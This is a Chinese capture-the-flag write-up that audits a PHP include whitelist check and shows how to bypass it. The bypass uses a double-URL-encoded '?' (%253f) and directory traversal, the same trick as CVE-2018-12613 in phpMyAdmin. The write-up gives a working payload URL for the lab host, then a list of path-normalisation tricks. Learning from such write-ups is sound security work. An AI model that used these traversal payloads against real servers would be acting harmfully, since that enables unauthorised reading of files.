知识点

  • include文件包含
  • phpMyAdmin远程文件包含漏洞

启动靶机

启动靶机,查看题目,没有任何信息
image.png
查看源代码,发现提示了source.php
image.png
访问source.php

  1. http://32b7d5b2-90f1-48b6-9010-8492aca35c06.node4.buuoj.cn/source.php

image.png

注意到白名单文件为source.php和hint.php,尝试访问hint.php得到提示,flag在ffffllllaaaagggg
image.png

对source.php文件进行代码审计:

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

这个题考查的是phpMyAdmin远程文件包含漏洞(CVE-2018-12613),基本上分析过那个漏洞这个题很快就能写出来。

分析源码

还是分析一遍这个源码,传入的file参数需要满足以下几点条件:

  1. file 参数不能为空
  2. file 参数需为字符串
  3. 需要满足checkFile方法的条件

重点在checkFile方法中,checkFile方法对file参数进行了3次白名单检测、 2次问号过滤、一次URL解码。

我们希望通过目录穿越包含任意文件读取到ffffllllaaaagggg文件,那么第一次白名单检测我们不可能通过,因为我们不可能只传入source.php或者是hint.php。

所以看第二次白名单检测:

  1. $_page = mb_substr(
  2. $page,
  3. 0,
  4. mb_strpos($page . '?', '?')
  5. );
  6. if (in_array($_page, $whitelist)) {
  7. return true;
  8. }
  9. //mb_substr() 函数返回字符串从【第二个参数】开始,往后数【第三个参数】长度的一部分。
  10. //mb_strpos() 函数返回被查找的字符串在别一字符串中首次出现的位置

第二次白名单检测之前,对传入的参数进行了第一次问号过滤,将传入的参数从 ? 处进行了分割,这时如果我们传入参数”source.php?../../../../../ffffllllaaaagggg” 就能满足在第二次白名单检测。但是为什么我们不能直接传参?呢,因为include包含的路径中如果出现问号,会当做传参处理,也就是说”?../../../../../ffffllllaaaagggg”会被当做source.php的参数,这时我们就没办法读取到ffffllllaaaagggg文件了。

所以我们看第三次白名单检测:

  1. $_page = urldecode($page);
  2. $_page = mb_substr(
  3. $_page,
  4. 0,
  5. mb_strpos($_page . '?', '?')
  6. );
  7. if (in_array($_page, $whitelist)) {
  8. return true;
  9. }

第二次白名单检测之前,对传入的参数进行了URL解码,之后进行了第二次问号过滤,问题就出现在 urldecode() ,我们可以利用这个函数绕过白名单检测,因为url会自动解码一次,所以把 ? 两次url编码为 %253f 即可绕过验证。

即我们传入”source.php%253f../../../../../ffffllllaaaagggg”浏览器自动解码一次,变成”source.php%3f../../../../../ffffllllaaaagggg”,在urldecode() 解码后变成”source.php?../../../../../ffffllllaaaagggg”,最终通过白名单检测。

最终payload

  1. http://32b7d5b2-90f1-48b6-9010-8492aca35c06.node4.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

image.png

写在最后:include的路径处理缺陷

之所以 ‘include ‘a.php%3f/../b.php’ 会包含后面文件而不包含前面文件,出现这种情况是因为php在文件路径处理上有一定的缺陷,会将第一个/../之前的内容全部删掉,主要原因就是tsrm_realpath_r函数会对于传入的路径做规范化处理。会删除掉 a.php%3f/../,只剩下一个b.php。

针对include路径处理缺陷的其它实验如下:

  1. include 'a.php%3f/../b.php'; (相当于include 'b.php')
  2. include 'a.php%3f/../../../b.php'; (相当于include '/../../b.php')
  3. include 'a.php////../b.php'; (相当于include 'b.php')
  4. include 'null.php%3f/../b.php'; (相当于include 'b.php') //即使是不存在的文件也可以绕过
  5. include 'nuasdfav%3f/../b.php'; (相当于include 'b.php') //即使是任意字符串也可以绕过
  6. include '即使是中文也可以。。/../b.php'; (相当于include 'b.php') //即使是中文字符也可以绕过